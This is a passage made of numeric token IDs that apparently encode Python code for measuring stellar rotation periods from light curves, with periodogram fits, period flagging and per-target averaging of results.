220, 220, 220, 220, 220, 220, 2845, 43160, 12331, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1461, 83, 796, 45941, 13, 12853, 7, 18, 11, 45941, 13, 12647, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 37679, 1546, 5390, 20832, 25008, 376, 22470, 2751, 370, 12115, 3913, 16876, 371, 27746, 3180, 47211, 30373, 2320, 1565, 19878, 40, 3727, 5923, 30631, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 12901, 12331, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 45941, 13, 1084, 7, 76, 8, 19841, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 285, 796, 45941, 13, 283, 858, 7, 15, 11, 853, 10, 1821, 11, 16, 11, 67, 4906, 28, 600, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 850, 76, 796, 45941, 13, 283, 858, 7, 15, 11, 853, 10, 1238, 11, 16, 11, 288, 4906, 28, 600, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 45941, 13, 9806, 7, 76, 8, 1875, 18896, 7, 41007, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 814, 796, 45941, 13, 9806, 7, 76, 8, 532, 18896, 7, 41007, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 285, 796, 45941, 13, 283, 858, 7, 853, 12, 1821, 12, 26069, 11, 18896, 7, 41007, 13219, 26069, 11, 352, 11, 288, 4906, 28, 600, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 850, 76, 796, 45941, 13, 283, 858, 7, 853, 12, 1238, 12, 26069, 11, 18896, 7, 41007, 13219, 26069, 12, 1238, 11, 352, 11, 288, 4906, 28, 600, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1461, 83, 796, 15830, 62, 81, 28399, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 1441, 1461, 83, 628, 220, 220, 220, 220, 198, 220, 220, 220, 825, 1057, 62, 6561, 7, 944, 11, 949, 69, 28, 16, 14, 1065, 13, 20, 11, 3509, 69, 28, 16, 14, 15, 13, 16, 11, 264, 381, 28, 1120, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 44743, 30948, 4197, 329, 1123, 1657, 12133, 13, 220, 628, 220, 220, 220, 220, 220, 220, 220, 40117, 198, 220, 220, 220, 220, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 220, 220, 220, 220, 949, 69, 1058, 12178, 11, 11902, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 383, 5288, 8373, 284, 2989, 287, 262, 30948, 8027, 13, 15161, 796, 352, 14, 1238, 13, 198, 220, 220, 220, 220, 220, 220, 220, 3509, 69, 1058, 12178, 11, 11902, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 383, 5415, 8373, 284, 2989, 287, 262, 30948, 8027, 13, 15161, 796, 352, 14, 15, 13, 16, 13, 198, 220, 220, 220, 220, 220, 220, 220, 264, 381, 1058, 493, 11, 11902, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 383, 1271, 286, 8405, 583, 9103, 13, 15161, 796, 2026, 13, 628, 220, 220, 220, 220, 220, 220, 220, 49213, 198, 220, 220, 220, 220, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 220, 220, 220, 220, 30948, 62, 43420, 1058, 6468, 28338, 13, 11487, 13, 10962, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 7400, 796, 8655, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 9574, 796, 45941, 13, 9107, 418, 7, 11925, 7, 944, 13, 47954, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 336, 9310, 796, 45941, 13, 9107, 418, 7, 11925, 7, 944, 13, 47954, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 9103, 62, 6477, 796, 45941, 13, 9107, 418, 7, 11925, 7, 944, 13, 47954, 4008, 628, 220, 220, 220, 220, 220, 220, 220, 9574, 17, 796, 45941, 13, 9107, 418, 7, 11925, 7, 944, 13, 47954, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 9103, 62, 6477, 17, 796, 45941, 13, 9107, 418, 7, 11925, 7, 944, 13, 47954, 4008, 628, 220, 220, 220, 220, 220, 220, 220, 13066, 62, 32109, 796, 45941, 13, 9107, 418, 7, 11925, 7, 944, 13, 47954, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 13066, 62, 32109, 16, 796, 45941, 13, 9107, 418, 7, 11925, 7, 944, 13, 47954, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 13066, 62, 32109, 17, 796, 45941, 13, 9107, 418, 7, 11925, 7, 944, 13, 47954, 4008, 628, 220, 220, 220, 220, 220, 220, 220, 329, 1312, 287, 256, 80, 36020, 7, 9521, 7, 11925, 7, 944, 13, 69, 22564, 36911, 1715, 2625, 36276, 749, 1884, 9574, 1, 2599, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 640, 11, 28462, 11, 28462, 62, 8056, 796, 2116, 13, 2435, 58, 72, 4357, 2116, 13, 69, 22564, 58, 72, 4357, 2116, 13, 69, 22564, 62, 8056, 58, 72, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 46341, 29722, 11050, 6375, 26094, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 814, 796, 45941, 13, 26069, 7, 2435, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 865, 74, 796, 45941, 13, 3003, 7, 26069, 18189, 45941, 13, 12647, 1150, 666, 7, 26069, 47762, 1415, 9, 37659, 13, 12647, 19282, 7, 26069, 4008, 58, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 18896, 7, 1671, 74, 8, 1875, 352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 865, 74, 62, 26069, 796, 865, 74, 532, 357, 11925, 7, 2435, 20679, 17, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 865, 74, 62, 26069, 796, 45941, 13, 3003, 7, 1671, 74, 62, 26069, 27, 15, 38381, 15, 7131, 12, 16, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2845, 12901, 12331, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 865, 74, 62, 26069, 796, 45941, 13, 853, 1084, 7, 1671, 74, 62, 26069, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 865, 74, 796, 45941, 13, 18747, 26933, 1671, 74, 58, 1671, 74, 62, 26069, 60, 4357, 288, 4906, 28, 600, 8, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 5550, 20032, 2043, 30943, 7579, 3955, 50, 16289, 31834, 4221, 9693, 8881, 13070, 6080, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 16, 11, 277, 16, 796, 640, 58, 25, 1671, 74, 58, 15, 60, 4357, 28462, 58, 25, 1671, 74, 58, 15, 11907, 2, 58, 6200, 21912, 4059, 4357, 28462, 58, 25, 1671, 74, 58, 15, 11907, 2, 58, 6200, 21912, 4059, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 17, 11, 277, 17, 796, 640, 58, 1671, 74, 58, 15, 5974, 4357, 28462, 58, 1671, 74, 58, 15, 5974, 60, 2, 58, 7410, 21912, 2167, 4357, 28462, 58, 1671, 74, 58, 15, 5974, 60, 2, 58, 7410, 21912, 2167, 60, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 267, 16, 62, 37266, 796, 583, 62, 42594, 7, 83, 16, 11, 277, 16, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 267, 17, 62, 37266, 796, 583, 62, 42594, 7, 83, 17, 11, 277, 17, 8, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1111, 796, 45941, 13, 18747, 26933, 78, 16, 62, 37266, 58, 15, 4357, 267, 17, 62, 37266, 58, 15, 11907, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42781, 62, 41007, 796, 45941, 13, 12647, 1150, 666, 7, 16885, 8, 628, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6056, 16, 796, 2116, 13, 562, 570, 62, 32109, 7, 78, 16, 62, 37266, 58, 15, 4357, 267, 16, 62, 37266, 58, 17, 4357, 267, 16, 62, 37266, 58, 12, 16, 4357, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42781, 62, 41007, 11, 267, 16, 62, 37266, 58, 12, 17, 4357, 256, 16, 58, 12, 16, 45297, 83, 16, 58, 15, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6056, 17, 796, 2116, 13, 562, 570, 62, 32109, 7, 78, 17, 62, 37266, 58, 15, 4357, 267, 17, 62, 37266, 58, 17, 4357, 267, 17, 62, 37266, 58, 12, 16, 4357, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42781, 62, 41007, 11, 267, 17, 62, 37266, 58, 12, 17, 4357, 256, 17, 58, 12, 16, 45297, 83, 17, 58, 15, 12962, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 45941, 13, 8937, 7, 78, 16, 62, 37266, 58, 16, 45297, 615, 70, 62, 41007, 8, 1279, 657, 13, 20, 290, 45941, 13, 8937, 7, 78, 17, 62, 37266, 58, 16, 45297, 615, 70, 62, 41007, 8, 27, 15, 13, 20, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6056, 16, 796, 6056, 17, 796, 657, 13, 15, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 6056, 16, 14512, 657, 290, 6056, 17, 14512, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 13066, 62, 32109, 58, 72, 60, 796, 352, 13, 15, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 13066, 62, 32109, 58, 72, 60, 796, 657, 13, 15, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 9574, 58, 72, 60, 796, 45941, 13, 12647, 1150, 666, 26933, 78, 16, 62, 37266, 58, 15, 4357, 267, 17, 62, 37266, 58, 15, 11907, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 13066, 62, 32109, 16, 58, 72, 60, 796, 6056, 16, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 13066, 62, 32109, 17, 58, 72, 60, 796, 6056, 17, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 336, 9310, 58, 72, 60, 220, 220, 220, 796, 267, 16, 62, 37266, 58, 12, 16, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 9103, 62, 6477, 58, 72, 60, 796, 267, 16, 62, 37266, 58, 17, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 9574, 17, 58, 72, 60, 796, 267, 17, 62, 37266, 58, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 9103, 62, 6477, 17, 58, 72, 60, 796, 267, 16, 62, 37266, 58, 12, 17, 60, 628, 220, 220, 220, 220, 220, 220, 220, 7400, 13, 2860, 62, 28665, 7, 39470, 7, 944, 13, 47954, 11, 705, 21745, 62, 2389, 6, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 7400, 13, 2860, 62, 28665, 7, 39470, 7, 41007, 82, 11, 1438, 11639, 41007, 62, 12545, 6, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 7400, 13, 2860, 62, 28665, 7, 39470, 7, 41007, 82, 17, 11, 1438, 11639, 38238, 62, 41007, 62, 12545, 6, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 7400, 13, 2860, 62, 28665, 7, 39470, 7, 301, 9310, 11, 1438, 11639, 4908, 1046, 62, 10394, 6, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 7400, 13, 2860, 62, 28665, 7, 39470, 7, 36729, 62, 6477, 11, 1438, 11639, 9806, 62, 6477, 6, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 7400, 13, 2860, 62, 28665, 7, 39470, 7, 36729, 62, 6477, 17, 11, 1438, 11639, 38238, 62, 9806, 62, 6477, 6, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 7400, 13, 2860, 62, 28665, 7, 39470, 7, 42594, 62, 32109, 11, 1438, 11639, 42594, 62, 32109, 6, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 7400, 13, 2860, 62, 28665, 7, 39470, 7, 42594, 62, 32109, 16, 11, 1438, 11639, 1659, 30909, 16, 6, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 7400, 13, 2860, 62, 28665, 7, 39470, 7, 42594, 62, 32109, 17, 11, 1438, 11639, 1659, 30909, 17, 6, 4008, 628, 220, 220, 220, 220, 220, 220, 220, 7400, 796, 2116, 13, 8770, 1886, 62, 525, 62, 34914, 7, 8658, 8, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 6561, 62, 43420, 796, 7400, 628, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 8333, 62, 32109, 7, 944, 11, 2278, 11, 1176, 11, 9647, 11, 42781, 11, 792, 79, 322, 11, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3509, 41007, 11, 13066, 62, 32109, 28, 15, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 2195, 570, 82, 257, 6056, 287, 262, 3084, 329, 543, 9574, 389, 9314, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 6056, 796, 1802, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2278, 1875, 3509, 41007, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6056, 796, 604, 198, 220, 220, 220, 220, 220, 220, 220, 611, 357, 41007, 1279, 3509, 41007, 8, 290, 357, 6477, 1875, 657, 13, 22544, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6056, 796, 513, 198, 220, 220, 220, 220, 220, 220, 220, 611, 357, 41007, 1279, 3509, 41007, 8, 290, 357, 10394, 19841, 2278, 9, 15, 13, 21, 8, 290, 357, 6477, 1875, 657, 13, 22544, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6056, 796, 362, 198, 220, 220, 220, 220, 220, 220, 220, 611, 357, 357, 41007, 1279, 3509, 41007, 8, 290, 357, 10394, 19841, 2278, 9, 15, 13, 21, 8, 290, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 357, 2363, 79, 322, 1279, 657, 13, 4846, 9, 6477, 8, 290, 357, 6477, 1875, 657, 13, 22544, 8, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6056, 796, 352, 198, 220, 220, 220, 220, 220, 220, 220, 611, 357, 357, 41007, 1279, 3509, 41007, 8, 290, 357, 10394, 19841, 2278, 9, 15, 13, 21, 8, 290, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 357, 2363, 79, 322, 1279, 657, 13, 4846, 9, 6477, 8, 290, 357, 37659, 13, 8937, 7, 41007, 12, 615, 70, 8, 27, 16, 13, 15, 8, 290, 357, 6477, 1875, 657, 13, 22544, 8, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6056, 796, 657, 198, 220, 220, 220, 220, 220, 220, 220, 611, 6056, 6624, 1802, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6056, 796, 642, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 6056, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 16449, 62, 525, 62, 34914, 7, 944, 11, 7400, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 29403, 379, 6670, 6515, 287, 1180, 16020, 290, 15947, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 543, 2278, 8630, 318, 1884, 262, 1266, 2278, 13, 34333, 257, 5721, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 284, 24291, 24864, 602, 13, 6561, 62, 43420, 286, 705, 7942, 62, 41007, 62, 12545, 6, 329, 262, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2482, 13, 628, 220, 220, 220, 220, 220, 220, 220, 16409, 198, 220, 220, 220, 220, 220, 220, 220, 35656, 198, 220, 220, 220, 220, 220, 220, 220, 6468, 28338, 13, 11487, 13, 10962, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 16449, 62, 41007, 82, 796, 45941, 13, 9107, 418, 7, 11925, 7, 8658, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 6056, 2667, 796, 45941, 13, 9107, 418, 7, 11925, 7, 8658, 828, 288, 4906, 28, 600, 8, 628, 220, 220, 220, 220, 220, 220, 220, 4179, 796, 657, 13, 18, 628, 220, 220, 220, 220, 220, 220, 220, 329, 256, 291, 287, 45941, 13, 34642, 7, 944, 13, 47954, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 773, 82, 796, 45941, 13, 3003, 7, 8658, 17816, 21745, 62, 2389, 20520, 855, 13370, 38381, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4165, 796, 7400, 17816, 41007, 62, 12545, 6, 4083, 7890, 58, 521, 82, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 9233, 796, 7400, 17816, 38238, 62, 41007, 62, 12545, 6, 4083, 7890, 58, 521, 82, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 477, 62, 41007, 82, 796, 45941, 13, 33295, 7, 39754, 11, 9233, 8, 198, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 773, 62, 33152, 796, 45941, 13, 33295, 7, 8658, 17816, 1659, 30909, 16, 6, 4083, 7890, 58, 521, 82, 4357, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 7400, 17816, 1659, 30909, 17, 6, 4083, 7890, 58, 521, 82, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42781, 796, 45941, 13, 18747, 26933, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 33152, 796, 45941, 13, 18747, 26933, 12962, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 18896, 7, 521, 82, 8, 1875, 352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4235, 796, 9756, 13, 14171, 7, 37659, 13, 744, 7, 439, 62, 41007, 82, 11, 17, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 4235, 1875, 1367, 13, 20, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42781, 796, 45941, 13, 12853, 7, 37659, 13, 12647, 32604, 7, 39754, 828, 18896, 7, 521, 82, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 33152, 796, 45941, 13, 12853, 7, 17, 11, 18896, 7, 521, 82, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 1312, 287, 2837, 7, 11925, 7, 521, 82, 8, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 45941, 13, 8937, 7, 39754, 58, 72, 45297, 14171, 8, 1279, 4179, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42781, 796, 45941, 13, 33295, 7, 615, 70, 11, 4165, 58, 72, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 33152, 796, 45941, 13, 33295, 7, 83, 33152, 11, 15, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 45941, 13, 8937, 7, 38238, 58, 72, 45297, 14171, 8, 1279, 4179, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42781, 796, 45941, 13, 33295, 7, 615, 70, 11, 9233, 58, 72, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 33152, 796, 45941, 13, 33295, 7, 83, 33152, 11, 16, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 45941, 13, 8937, 7, 39754, 58, 72, 60, 14, 17, 7874, 14171, 8, 1279, 4179, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42781, 796, 45941, 13, 33295, 7, 615, 70, 11, 4165, 58, 72, 60, 14, 17, 2014, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 33152, 796, 45941, 13, 33295, 7, 83, 33152, 11, 15, 8, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 45941, 13, 8937, 7, 38238, 58, 72, 60, 14, 17, 7874, 14171, 8, 1279, 4179, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42781, 796, 45941, 13, 33295, 7, 615, 70, 11, 9233, 58, 72, 60, 14, 17, 2014, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 33152, 796, 45941, 13, 33295, 7, 83, 33152, 11, 16, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 45941, 13, 8937, 7, 39754, 58, 72, 60, 9, 17, 7874, 14171, 8, 1279, 4179, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42781, 796, 45941, 13, 33295, 7, 615, 70, 11, 4165, 58, 72, 60, 9, 17, 2014, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 33152, 796, 45941, 13, 33295, 7, 83, 33152, 11, 15, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 45941, 13, 8937, 7, 38238, 58, 72, 60, 9, 17, 7874, 14171, 8, 1279, 4179, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42781, 796, 45941, 13, 33295, 7, 615, 70, 11, 9233, 58, 72, 60, 9, 17, 2014, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 33152, 796, 45941, 13, 33295, 7, 83, 33152, 11, 16, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 33152, 796, 45941, 13, 33295, 7, 83, 33152, 11, 362, 8, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2845, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 1312, 287, 2837, 7, 11925, 7, 521, 82, 8, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 7400, 17816, 1659, 30909, 16, 6, 4083, 7890, 58, 521, 82, 58, 72, 11907, 855, 15, 290, 7400, 17816, 1659, 30909, 17, 6, 4083, 7890, 58, 521, 82, 58, 72, 11907, 855, 15, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42781, 796, 45941, 13, 33295, 7, 615, 70, 11, 7400, 17816, 41007, 62, 12545, 6, 4083, 7890, 58, 521, 82, 58, 72, 11907, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 33152, 796, 45941, 13, 33295, 7, 83, 33152, 11, 657, 8, 198, 220, 220, 